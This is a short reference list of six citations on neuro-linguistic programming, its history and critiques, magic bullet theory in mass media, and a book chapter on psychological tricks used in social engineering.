[1]         The Empowerment Group (2012), what is NLP. [Online]. Available: http://www.nlp.com/what-is-nlp/

[2]         Carroll, B. (2011), The Skeptic’s Dictionary: Neuro-Linguistic Programming (NLP). [Online]. Available: http://www.skepdic.com/neurolin.html

[3]         NLP Center (2006), NLP History and Development. [Online]. Available: http://www.nlp-center.net/articles/nlp-history-and-development.html

[4]         M. Parkinson, “A critical analysis of the background of NLP,” The Skeptic, vol. 16, no. 3, 2003. [Online]. Available: http://www.skeptic.org.uk/magazine/onlinearticles/articlelist/493-intro-to

[5]         Lewandowski, N. (2009), Magic Bullet Theory in Mass Media. [Online]. Available: http://www.ehow.com/facts_5408403_magic-bullet-theory-mass-media.html

[6]         C. Hadnagy. “Mind Tricks: Psychological Principles Used in Social Engineering,” in Social Engineering: The Art of Human Hacking, 1st Ed. New York: Wiley, December 2010, Ch. 5, pp. 136–143.